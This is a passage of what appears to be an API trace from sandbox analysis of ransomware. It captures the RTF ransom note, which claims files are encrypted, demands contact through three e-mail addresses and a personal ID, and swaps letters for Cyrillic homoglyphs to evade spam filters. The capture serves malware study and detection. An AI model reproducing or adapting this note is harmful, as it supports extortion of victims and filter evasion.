nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must 